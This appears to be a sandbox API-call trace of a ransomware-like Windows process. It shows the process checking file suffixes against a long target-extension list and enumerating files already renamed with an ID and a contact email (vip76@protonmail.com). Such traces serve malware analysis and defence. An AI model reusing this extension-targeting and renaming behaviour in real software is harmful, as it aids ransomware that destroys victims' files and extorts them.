	[0165.306] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.306] lstrlenW (lpString=".asp") returned 4
	[0165.306] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".aspx") returned 5
	[0165.306] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.306] lstrlenW (lpString=".asr") returned 4
	[0165.306] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".asx") returned 4
	[0165.306] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".avi") returned 4
	[0165.306] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".avs") returned 4
	[0165.306] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.306] lstrlenW (lpString=".backup") returned 7
	[0165.307] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.307] lstrlenW (lpString=".bak") returned 4
	[0165.307] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".bay") returned 4
	[0165.307] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".bd") returned 3
	[0165.307] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.307] lstrlenW (lpString=".bin") returned 4
	[0165.307] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".bmp") returned 4
	[0165.307] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".bz2") returned 4
	[0165.307] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".c") returned 2
	[0165.307] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.307] lstrlenW (lpString=".cdr") returned 4
	[0165.307] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".cer") returned 4
	[0165.307] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".cf") returned 3
	[0165.307] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.307] lstrlenW (lpString=".cfc") returned 4
	[0165.307] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".cfm") returned 4
	[0165.307] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".cfml") returned 5
	[0165.307] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.307] lstrlenW (lpString=".cfu") returned 4
	[0165.307] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.307] lstrlenW (lpString=".chm") returned 4
	[0165.308] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".cin") returned 4
	[0165.308] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".class") returned 6
	[0165.308] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.308] lstrlenW (lpString=".clx") returned 4
	[0165.308] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".config") returned 7
	[0165.308] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.308] lstrlenW (lpString=".cpp") returned 4
	[0165.308] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".cr2") returned 4
	[0165.308] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".crt") returned 4
	[0165.308] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".crw") returned 4
	[0165.308] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".cs") returned 3
	[0165.308] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.308] lstrlenW (lpString=".css") returned 4
	[0165.308] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".csv") returned 4
	[0165.308] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".cub") returned 4
	[0165.308] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".dae") returned 4
	[0165.308] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".dat") returned 4
	[0165.308] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.308] lstrlenW (lpString=".db") returned 3
	[0165.308] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.308] lstrlenW (lpString=".dbf") returned 4
	[0165.308] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".dbx") returned 4
	[0165.309] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".dc3") returned 4
	[0165.309] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".dcm") returned 4
	[0165.309] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".dcr") returned 4
	[0165.309] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".der") returned 4
	[0165.309] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".dib") returned 4
	[0165.309] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".dic") returned 4
	[0165.309] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".dif") returned 4
	[0165.309] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".divx") returned 5
	[0165.309] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.309] lstrlenW (lpString=".djvu") returned 5
	[0165.309] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.309] lstrlenW (lpString=".dng") returned 4
	[0165.309] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.309] lstrlenW (lpString=".doc") returned 4
	[0165.309] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".docm") returned 5
	[0165.310] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.310] lstrlenW (lpString=".docx") returned 5
	[0165.310] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.310] lstrlenW (lpString=".dot") returned 4
	[0165.310] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".dotm") returned 5
	[0165.310] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.310] lstrlenW (lpString=".dotx") returned 5
	[0165.310] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.310] lstrlenW (lpString=".dpx") returned 4
	[0165.310] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".dqy") returned 4
	[0165.310] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".dsn") returned 4
	[0165.310] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".dt") returned 3
	[0165.310] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.310] lstrlenW (lpString=".dtd") returned 4
	[0165.310] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".dwg") returned 4
	[0165.310] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".dwt") returned 4
	[0165.310] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".dx") returned 3
	[0165.310] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.310] lstrlenW (lpString=".dxf") returned 4
	[0165.310] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.310] lstrlenW (lpString=".edml") returned 5
	[0165.311] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.311] lstrlenW (lpString=".efd") returned 4
	[0165.311] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".elf") returned 4
	[0165.311] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".emf") returned 4
	[0165.311] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".emz") returned 4
	[0165.311] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".epf") returned 4
	[0165.311] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".eps") returned 4
	[0165.311] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".epsf") returned 5
	[0165.311] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.311] lstrlenW (lpString=".epsp") returned 5
	[0165.311] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.311] lstrlenW (lpString=".erf") returned 4
	[0165.311] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".exr") returned 4
	[0165.311] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".f4v") returned 4
	[0165.311] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".fido") returned 5
	[0165.311] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.311] lstrlenW (lpString=".flm") returned 4
	[0165.311] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".flv") returned 4
	[0165.311] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.311] lstrlenW (lpString=".frm") returned 4
	[0165.312] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".fxg") returned 4
	[0165.312] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".geo") returned 4
	[0165.312] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".gif") returned 4
	[0165.312] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".grs") returned 4
	[0165.312] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".gz") returned 3
	[0165.312] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.312] lstrlenW (lpString=".h") returned 2
	[0165.312] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.312] lstrlenW (lpString=".hdr") returned 4
	[0165.312] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".hpp") returned 4
	[0165.312] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".hta") returned 4
	[0165.312] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".htc") returned 4
	[0165.312] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".htm") returned 4
	[0165.312] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".html") returned 5
	[0165.312] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.312] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x808481ad, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x808481ad, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80894981, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.312] lstrlenW (lpString="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html") returned 57
	[0165.312] lstrlenW (lpString=".1cd") returned 4
	[0165.312] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.312] lstrlenW (lpString=".3ds") returned 4
	[0165.313] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".3fr") returned 4
	[0165.313] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".3g2") returned 4
	[0165.313] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".3gp") returned 4
	[0165.313] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".7z") returned 3
	[0165.313] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0165.313] lstrlenW (lpString=".accda") returned 6
	[0165.313] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0165.313] lstrlenW (lpString=".accdb") returned 6
	[0165.313] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0165.313] lstrlenW (lpString=".accdc") returned 6
	[0165.313] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0165.313] lstrlenW (lpString=".accde") returned 6
	[0165.313] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0165.313] lstrlenW (lpString=".accdt") returned 6
	[0165.313] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0165.313] lstrlenW (lpString=".accdw") returned 6
	[0165.313] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0165.313] lstrlenW (lpString=".adb") returned 4
	[0165.313] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".adp") returned 4
	[0165.313] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".ai") returned 3
	[0165.313] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0165.313] lstrlenW (lpString=".ai3") returned 4
	[0165.313] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".ai4") returned 4
	[0165.313] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0165.313] lstrlenW (lpString=".ai5") returned 4
	[0165.314] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".ai6") returned 4
	[0165.314] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".ai7") returned 4
	[0165.314] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".ai8") returned 4
	[0165.314] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".anim") returned 5
	[0165.314] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0165.314] lstrlenW (lpString=".arw") returned 4
	[0165.314] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".as") returned 3
	[0165.314] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0165.314] lstrlenW (lpString=".asa") returned 4
	[0165.314] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".asc") returned 4
	[0165.314] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".ascx") returned 5
	[0165.314] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0165.314] lstrlenW (lpString=".asm") returned 4
	[0165.314] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".asmx") returned 5
	[0165.314] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0165.314] lstrlenW (lpString=".asp") returned 4
	[0165.314] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0165.314] lstrlenW (lpString=".aspx") returned 5
	[0165.314] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0165.314] lstrlenW (lpString=".asr") returned 4
	[0165.314] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".asx") returned 4
	[0165.315] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".avi") returned 4
	[0165.315] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".avs") returned 4
	[0165.315] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".backup") returned 7
	[0165.315] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0165.315] lstrlenW (lpString=".bak") returned 4
	[0165.315] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".bay") returned 4
	[0165.315] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".bd") returned 3
	[0165.315] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0165.315] lstrlenW (lpString=".bin") returned 4
	[0165.315] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".bmp") returned 4
	[0165.315] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".bz2") returned 4
	[0165.315] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".c") returned 2
	[0165.315] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0165.315] lstrlenW (lpString=".cdr") returned 4
	[0165.315] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".cer") returned 4
	[0165.315] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".cf") returned 3
	[0165.315] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0165.315] lstrlenW (lpString=".cfc") returned 4
	[0165.315] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0165.315] lstrlenW (lpString=".cfm") returned 4
	[0165.316] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".cfml") returned 5
	[0165.316] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0165.316] lstrlenW (lpString=".cfu") returned 4
	[0165.316] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".chm") returned 4
	[0165.316] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".cin") returned 4
	[0165.316] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".class") returned 6
	[0165.316] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0165.316] lstrlenW (lpString=".clx") returned 4
	[0165.316] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".config") returned 7
	[0165.316] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0165.316] lstrlenW (lpString=".cpp") returned 4
	[0165.316] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".cr2") returned 4
	[0165.316] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".crt") returned 4
	[0165.316] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".crw") returned 4
	[0165.316] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".cs") returned 3
	[0165.316] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0165.316] lstrlenW (lpString=".css") returned 4
	[0165.316] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".csv") returned 4
	[0165.316] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0165.316] lstrlenW (lpString=".cub") returned 4
	[0165.316] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dae") returned 4
	[0165.317] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dat") returned 4
	[0165.317] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".db") returned 3
	[0165.317] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0165.317] lstrlenW (lpString=".dbf") returned 4
	[0165.317] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dbx") returned 4
	[0165.317] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dc3") returned 4
	[0165.317] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dcm") returned 4
	[0165.317] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dcr") returned 4
	[0165.317] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".der") returned 4
	[0165.317] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dib") returned 4
	[0165.317] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dic") returned 4
	[0165.317] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".dif") returned 4
	[0165.317] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".divx") returned 5
	[0165.317] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.317] lstrlenW (lpString=".djvu") returned 5
	[0165.317] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.317] lstrlenW (lpString=".dng") returned 4
	[0165.317] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.317] lstrlenW (lpString=".doc") returned 4
	[0165.318] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".docm") returned 5
	[0165.318] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.318] lstrlenW (lpString=".docx") returned 5
	[0165.318] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.318] lstrlenW (lpString=".dot") returned 4
	[0165.318] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".dotm") returned 5
	[0165.318] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.318] lstrlenW (lpString=".dotx") returned 5
	[0165.318] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.318] lstrlenW (lpString=".dpx") returned 4
	[0165.318] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".dqy") returned 4
	[0165.318] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".dsn") returned 4
	[0165.318] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".dt") returned 3
	[0165.318] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.318] lstrlenW (lpString=".dtd") returned 4
	[0165.318] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".dwg") returned 4
	[0165.318] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".dwt") returned 4
	[0165.318] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".dx") returned 3
	[0165.318] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.318] lstrlenW (lpString=".dxf") returned 4
	[0165.318] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.318] lstrlenW (lpString=".edml") returned 5
	[0165.318] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.318] lstrlenW (lpString=".efd") returned 4
	[0165.319] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".elf") returned 4
	[0165.319] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".emf") returned 4
	[0165.319] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".emz") returned 4
	[0165.319] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".epf") returned 4
	[0165.319] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".eps") returned 4
	[0165.319] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".epsf") returned 5
	[0165.319] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.319] lstrlenW (lpString=".epsp") returned 5
	[0165.319] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.319] lstrlenW (lpString=".erf") returned 4
	[0165.319] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".exr") returned 4
	[0165.319] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".f4v") returned 4
	[0165.319] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".fido") returned 5
	[0165.319] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.319] lstrlenW (lpString=".flm") returned 4
	[0165.319] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".flv") returned 4
	[0165.319] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".frm") returned 4
	[0165.319] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".fxg") returned 4
	[0165.319] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.319] lstrlenW (lpString=".geo") returned 4
	[0165.320] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.320] lstrlenW (lpString=".gif") returned 4
	[0165.320] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.320] lstrlenW (lpString=".grs") returned 4
	[0165.320] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.320] lstrlenW (lpString=".gz") returned 3
	[0165.320] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.320] lstrlenW (lpString=".h") returned 2
	[0165.320] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.320] lstrlenW (lpString=".hdr") returned 4
	[0165.320] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.320] lstrlenW (lpString=".hpp") returned 4
	[0165.320] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.320] lstrlenW (lpString=".hta") returned 4
	[0165.320] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.320] lstrlenW (lpString=".htc") returned 4
	[0165.320] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.320] lstrlenW (lpString=".htm") returned 4
	[0165.320] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.320] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x809ebe8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x809ebe8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x809ebe8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.320] FindNextFileW (in: hFindFile=0x6abc58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x809ebe8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x809ebe8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x809ebe8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.320] FindClose (in: hFindFile=0x6abc58 | out: hFindFile=0x6abc58) returned 1
